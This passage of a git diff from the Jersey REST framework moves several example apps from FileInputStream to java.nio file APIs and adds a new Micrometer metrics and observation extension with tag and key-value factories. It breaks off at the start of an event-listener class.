end of file diff --git a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java index 9242753493..5d39bdef02 100644 --- a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java +++ b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,11 +11,13 @@ package org.glassfish.jersey.examples.oauth.twitterclient; import java.io.BufferedReader; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; +import java.io.InputStream; import java.io.InputStreamReader; +import java.io.OutputStream; import java.nio.charset.Charset; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.List; import java.util.Properties; @@ -141,9 +143,9 @@ public static void main(final String[] args) throws Exception { } private static void loadSettings() { - FileInputStream st = null; + InputStream st = null; try { - st = new FileInputStream(PROPERTIES_FILE_NAME); + st = Files.newInputStream(Paths.get(PROPERTIES_FILE_NAME)); PROPERTIES.load(st); } catch (final IOException e) { // ignore @@ -174,9 +176,9 @@ private static void loadSettings() { } private static void storeSettings() { - FileOutputStream st = null; + OutputStream st = null; try { - st = new FileOutputStream(PROPERTIES_FILE_NAME); + st = Files.newOutputStream(Paths.get(PROPERTIES_FILE_NAME)); PROPERTIES.store(st, null); } catch (final IOException e) { // ignore diff --git a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java index d8cacd5712..404c63db41 100644 --- a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java +++ b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,9 +11,10 @@ package org.glassfish.jersey.examples.helloworld.test; import java.io.BufferedReader; -import java.io.FileReader; import java.io.IOException; import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Paths; import java.security.AccessController; import java.util.ArrayList; import java.util.Arrays; @@ -227,7 +228,7 @@ private void updatePermissionsFromFile() throws IOException { try { - final BufferedReader reader = new BufferedReader(new FileReader(felixPolicy)); + final BufferedReader reader = Files.newBufferedReader(Paths.get(felixPolicy)); String line; final Set cpiNames = new HashSet(); diff --git a/examples/pom.xml b/examples/pom.xml index 48a1f512d9..9883766b0f 100644 --- a/examples/pom.xml +++ b/examples/pom.xml @@ -99,6 +99,7 @@ managed-client-simple-webapp multipart-webapp + micrometer open-tracing osgi-helloworld-webapp diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java index 10441f3e4e..8e922b79d8 100644 --- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java +++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -12,11 +12,10 @@ import java.io.BufferedReader; import java.io.File; -import java.io.FileInputStream; import java.io.IOException; -import java.io.InputStreamReader; import java.lang.reflect.Field; import java.net.URI; +import java.nio.file.Files; import java.nio.file.FileSystems; import java.nio.file.Path; import java.nio.file.Paths; @@ -168,7 +167,7 @@ private static List getJavaFiles(File configFile) throws Exception { final List javaFiles = new LinkedList<>(); - try (BufferedReader r = new BufferedReader(new InputStreamReader(new FileInputStream(configFile), "UTF-8"))) { + try (BufferedReader r = Files.newBufferedReader(configFile.toPath())) { while (r.ready()) { final String className = r.readLine(); if (!className.startsWith("#")) { diff --git a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java index 71b8ecd0ce..a3e6788945 100644 --- a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java +++ b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,10 +10,10 @@ package org.glassfish.jersey.examples.aggregator; -import java.io.File; -import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.HashMap; import java.util.Properties; import java.util.logging.Level; @@ -141,10 +141,10 @@ static String getTwitterUserPassword() { private static Properties loadSettings() { final Properties properties = new Properties(); - FileInputStream st = null; + InputStream st = null; try { String homeDir = System.getProperty("user.home"); - st = new FileInputStream(homeDir + File.separator + TWITTER_PROPERTIES_FILE_NAME); + st = Files.newInputStream(Paths.get(homeDir, TWITTER_PROPERTIES_FILE_NAME)); properties.load(st); } catch (IOException e) { // ignore @@ -230,7 +230,7 @@ public void service(Request request, Response response) throws Exception { try { fileStream = webRootPath == null ? App.class.getResourceAsStream(WEB_ROOT + uri) - : new FileInputStream(webRootPath + uri); + : Files.newInputStream(Paths.get(webRootPath, uri)); } catch (IOException e) { fileStream = null; } diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml new file mode 100644 index 0000000000..4608efb631 --- /dev/null +++ b/ext/micrometer/pom.xml @@ -0,0 +1,105 @@ + + + + + + project + org.glassfish.jersey.ext + 3.0.99-SNAPSHOT + + 4.0.0 + + jersey-micrometer + + + + + io.micrometer + micrometer-core + ${micrometer.version} + + + + org.glassfish.jersey.core + jersey-common + ${project.version} + + + + org.glassfish.jersey.core + jersey-server + ${project.version} + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-inmemory + ${project.version} + test + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + test + + + + org.aspectj + aspectjweaver + ${aspectj.weaver.version} + test + true + + + + io.micrometer + micrometer-tracing-integration-test + ${micrometer-tracing.version} + test + + + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + + org.glassfish.jersey.micrometer.server.*;version=${project.version} + + + org.eclipse.microprofile.micrometer.server.*;version="!", + * + + + true + + + + + + diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java new file mode 100644 index 0000000000..82b8c5439f --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java @@ -0,0 +1,46 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.lang.annotation.Annotation; +import java.lang.reflect.AnnotatedElement; + +public interface AnnotationFinder { + + AnnotationFinder DEFAULT = new AnnotationFinder() { + }; + + /** + * The default implementation performs a simple search for a declared annotation + * matching the search type. Spring provides a more sophisticated annotation search + * utility that matches on meta-annotations as well. + * @param annotatedElement The element to search. + * @param annotationType The annotation type class. + * @param Annotation type to search for. + * @return A matching annotation. + */ + @SuppressWarnings("unchecked") + default A findAnnotation(AnnotatedElement annotatedElement, Class annotationType) { + Annotation[] anns = annotatedElement.getDeclaredAnnotations(); + for (Annotation ann : anns) { + if (ann.annotationType() == annotationType) { + return (A) ann; + } + } + return null; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java new file mode 100644 index 0000000000..172465b15c --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java @@ -0,0 +1,61 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.KeyValues; +import io.micrometer.common.lang.Nullable; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Default implementation for {@link JerseyObservationConvention}. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class DefaultJerseyObservationConvention implements JerseyObservationConvention { + + private final String metricsName; + + public DefaultJerseyObservationConvention(String metricsName) { + this.metricsName = metricsName; + } + + @Override + public KeyValues getLowCardinalityKeyValues(JerseyContext context) { + RequestEvent event = context.getRequestEvent(); + ContainerRequest request = context.getCarrier(); + ContainerResponse response = context.getResponse(); + return KeyValues.of(JerseyKeyValues.method(request), JerseyKeyValues.uri(event), + JerseyKeyValues.exception(event), JerseyKeyValues.status(response), JerseyKeyValues.outcome(response)); + } + + @Override + public String getName() { + return this.metricsName; + } + + @Nullable + @Override + public String getContextualName(JerseyContext context) { + if (context.getCarrier() == null) { + return null; + } + return "HTTP " + context.getCarrier().getMethod(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java new file mode 100644 index 0000000000..6c080a440a --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java @@ -0,0 +1,44 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Default implementation for {@link JerseyTagsProvider}. + * + * @author Michael Weirauch + * @author Johnny Lim + * @since 2.41 + */ +public final class DefaultJerseyTagsProvider implements JerseyTagsProvider { + + @Override + public Iterable httpRequestTags(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event), + JerseyTags.exception(event), JerseyTags.status(response), JerseyTags.outcome(response)); + } + + @Override + public Iterable httpLongRequestTags(RequestEvent event) { + return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event)); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java new file mode 100644 index 0000000000..97ff36a610 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.List; + +import io.micrometer.observation.transport.ReceiverContext; +import io.micrometer.observation.transport.RequestReplyReceiverContext; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * A {@link ReceiverContext} for Jersey. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class JerseyContext extends RequestReplyReceiverContext { + + private RequestEvent requestEvent; + + public JerseyContext(RequestEvent requestEvent) { + super((carrier, key) -> { + List requestHeader = carrier.getRequestHeader(key); + if (requestHeader == null || requestHeader.isEmpty()) { + return null; + } + return requestHeader.get(0); + }); + this.requestEvent = requestEvent; + setCarrier(requestEvent.getContainerRequest()); + } + + public void setRequestEvent(RequestEvent requestEvent) { + this.requestEvent = requestEvent; + } + + public RequestEvent getRequestEvent() { + return requestEvent; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java new file mode 100644 index 0000000000..66cdaf7b1e --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java @@ -0,0 +1,144 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.KeyValue; +import io.micrometer.common.util.StringUtils; +import io.micrometer.core.instrument.binder.http.Outcome; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Factory methods for {@link KeyValue KeyValues} associated with a request-response + * exchange that is handled by Jersey server. + */ +class JerseyKeyValues { + + private static final KeyValue URI_NOT_FOUND = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("NOT_FOUND"); + + private static final KeyValue URI_REDIRECTION = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("REDIRECTION"); + + private static final KeyValue URI_ROOT = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("root"); + + private static final KeyValue EXCEPTION_NONE = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION + .withValue("None"); + + private static final KeyValue STATUS_SERVER_ERROR = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS + .withValue("500"); + + private static final KeyValue METHOD_UNKNOWN = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD + .withValue("UNKNOWN"); + + private JerseyKeyValues() { + } + + /** + * Creates a {@code method} KeyValue based on the {@link ContainerRequest#getMethod() + * method} of the given {@code request}. + * @param request the container request + * @return the method KeyValue whose value is a capitalized method (e.g. GET). + */ + static KeyValue method(ContainerRequest request) { + return (request != null) + ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD.withValue(request.getMethod()) + : METHOD_UNKNOWN; + } + + /** + * Creates a {@code status} KeyValue based on the status of the given + * {@code response}. + * @param response the container response + * @return the status KeyValue derived from the status of the response + */ + static KeyValue status(ContainerResponse response) { + /* In case there is no response we are dealing with an unmapped exception. */ + return (response != null) ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS + .withValue(Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR; + } + + /** + * Creates a {@code uri} KeyValue based on the URI of the given {@code event}. Uses + * the {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION} + * for 3xx responses, {@code NOT_FOUND} for 404 responses. + * @param event the request event + * @return the uri KeyValue derived from the request event + */ + static KeyValue uri(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (JerseyTags.isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_REDIRECTION; + } + if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_NOT_FOUND; + } + } + String matchingPattern = JerseyTags.getMatchingPattern(event); + if (matchingPattern.equals("/")) { + return URI_ROOT; + } + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI.withValue(matchingPattern); + } + + /** + * Creates an {@code exception} KeyValue based on the {@link Class#getSimpleName() + * simple name} of the class of the given {@code exception}. + * @param event the request event + * @return the exception KeyValue derived from the exception + */ + static KeyValue exception(RequestEvent event) { + Throwable exception = event.getException(); + if (exception == null) { + return EXCEPTION_NONE; + } + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (status == 404 || JerseyTags.isRedirection(status)) { + return EXCEPTION_NONE; + } + } + if (exception.getCause() != null) { + exception = exception.getCause(); + } + String simpleName = exception.getClass().getSimpleName(); + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION + .withValue(StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName()); + } + + /** + * Creates an {@code outcome} KeyValue based on the status of the given + * {@code response}. + * @param response the container response + * @return the outcome KeyValue derived from the status of the response + */ + static KeyValue outcome(ContainerResponse response) { + if (response != null) { + Outcome outcome = Outcome.forStatus(response.getStatus()); + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME.withValue(outcome.name()); + } + /* In case there is no response we are dealing with an unmapped exception. */ + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME + .withValue(Outcome.SERVER_ERROR.name()); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java new file mode 100644 index 0000000000..24bb4754bf --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java @@ -0,0 +1,35 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationConvention; + +/** + * Provides names and {@link io.micrometer.common.KeyValues} for Jersey request + * observations. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public interface JerseyObservationConvention extends ObservationConvention { + + @Override + default boolean supportsContext(Observation.Context context) { + return context instanceof JerseyContext; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java new file mode 100644 index 0000000000..bebbde9716 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java @@ -0,0 +1,88 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.docs.KeyName; +import io.micrometer.common.lang.NonNullApi; +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationConvention; +import io.micrometer.observation.docs.ObservationDocumentation; + +/** + * An {@link ObservationDocumentation} for Jersey. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +@NonNullApi +public enum JerseyObservationDocumentation implements ObservationDocumentation { + + /** + * Default observation for Jersey. + */ + DEFAULT { + @Override + public Class> getDefaultConvention() { + return DefaultJerseyObservationConvention.class; + } + + @Override + public KeyName[] getLowCardinalityKeyNames() { + return JerseyLegacyLowCardinalityTags.values(); + } + }; + + @NonNullApi + enum JerseyLegacyLowCardinalityTags implements KeyName { + + OUTCOME { + @Override + public String asString() { + return "outcome"; + } + }, + + METHOD { + @Override + public String asString() { + return "method"; + } + }, + + URI { + @Override + public String asString() { + return "uri"; + } + }, + + EXCEPTION { + @Override + public String asString() { + return "exception"; + } + }, + + STATUS { + @Override + public String asString() { + return "status"; + } + } + + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java new file mode 100644 index 0000000000..d723c7c1b9 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java @@ -0,0 +1,162 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.List; +import java.util.regex.Pattern; + +import io.micrometer.common.util.StringUtils; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.binder.http.Outcome; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.uri.UriTemplate; + +/** + * Factory methods for {@link Tag Tags} associated with a request-response exchange that + * is handled by Jersey server. + * + * @author Michael Weirauch + * @author Johnny Lim + * @since 2.41 + */ +public final class JerseyTags { + + private static final Tag URI_NOT_FOUND = Tag.of("uri", "NOT_FOUND"); + + private static final Tag URI_REDIRECTION = Tag.of("uri", "REDIRECTION"); + + private static final Tag URI_ROOT = Tag.of("uri", "root"); + + private static final Tag EXCEPTION_NONE = Tag.of("exception", "None"); + + private static final Tag STATUS_SERVER_ERROR = Tag.of("status", "500"); + + private static final Tag METHOD_UNKNOWN = Tag.of("method", "UNKNOWN"); + + static final Pattern TRAILING_SLASH_PATTERN = Pattern.compile("/$"); + + static final Pattern MULTIPLE_SLASH_PATTERN = Pattern.compile("//+"); + + private JerseyTags() { + } + + /** + * Creates a {@code method} tag based on the {@link ContainerRequest#getMethod() + * method} of the given {@code request}. + * @param request the container request + * @return the method tag whose value is a capitalized method (e.g. GET). + */ + public static Tag method(ContainerRequest request) { + return (request != null) ? Tag.of("method", request.getMethod()) : METHOD_UNKNOWN; + } + + /** + * Creates a {@code status} tag based on the status of the given {@code response}. + * @param response the container response + * @return the status tag derived from the status of the response + */ + public static Tag status(ContainerResponse response) { + /* In case there is no response we are dealing with an unmapped exception. */ + return (response != null) ? Tag.of("status", Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR; + } + + /** + * Creates a {@code uri} tag based on the URI of the given {@code event}. Uses the + * {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION} for + * 3xx responses, {@code NOT_FOUND} for 404 responses. + * @param event the request event + * @return the uri tag derived from the request event + */ + public static Tag uri(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_REDIRECTION; + } + if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_NOT_FOUND; + } + } + String matchingPattern = getMatchingPattern(event); + if (matchingPattern.equals("/")) { + return URI_ROOT; + } + return Tag.of("uri", matchingPattern); + } + + static boolean isRedirection(int status) { + return 300 <= status && status < 400; + } + + static String getMatchingPattern(RequestEvent event) { + ExtendedUriInfo uriInfo = event.getUriInfo(); + List templates = uriInfo.getMatchedTemplates(); + + StringBuilder sb = new StringBuilder(); + sb.append(uriInfo.getBaseUri().getPath()); + for (int i = templates.size() - 1; i >= 0; i--) { + sb.append(templates.get(i).getTemplate()); + } + String multipleSlashCleaned = MULTIPLE_SLASH_PATTERN.matcher(sb.toString()).replaceAll("/"); + if (multipleSlashCleaned.equals("/")) { + return multipleSlashCleaned; + } + return TRAILING_SLASH_PATTERN.matcher(multipleSlashCleaned).replaceAll(""); + } + + /** + * Creates an {@code exception} tag based on the {@link Class#getSimpleName() simple + * name} of the class of the given {@code exception}. + * @param event the request event + * @return the exception tag derived from the exception + */ + public static Tag exception(RequestEvent event) { + Throwable exception = event.getException(); + if (exception == null) { + return EXCEPTION_NONE; + } + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (status == 404 || isRedirection(status)) { + return EXCEPTION_NONE; + } + } + if (exception.getCause() != null) { + exception = exception.getCause(); + } + String simpleName = exception.getClass().getSimpleName(); + return Tag.of("exception", StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName()); + } + + /** + * Creates an {@code outcome} tag based on the status of the given {@code response}. + * @param response the container response + * @return the outcome tag derived from the status of the response + */ + public static Tag outcome(ContainerResponse response) { + if (response != null) { + return Outcome.forStatus(response.getStatus()).asTag(); + } + /* In case there is no response we are dealing with an unmapped exception. */ + return Outcome.SERVER_ERROR.asTag(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java new file mode 100644 index 0000000000..c1d2da017a --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java @@ -0,0 +1,45 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.Tag; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Provides {@link Tag Tags} for Jersey request metrics. + * + * @author Michael Weirauch + * @since 2.41 + */ +public interface JerseyTagsProvider { + + /** + * Provides tags to be associated with metrics for the given {@code event}. + * @param event the request event + * @return tags to associate with metrics recorded for the request + */ + Iterable httpRequestTags(RequestEvent event); + + /** + * Provides tags to be associated with the + * {@link io.micrometer.core.instrument.LongTaskTimer} which instruments the given + * long-running {@code event}. + * @param event the request event + * @return tags to associate with metrics recorded for the request + */ + Iterable httpLongRequestTags(RequestEvent event); + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java new file mode 100644 index 0000000000..30ccc362d6 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java @@ -0,0 +1,69 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials 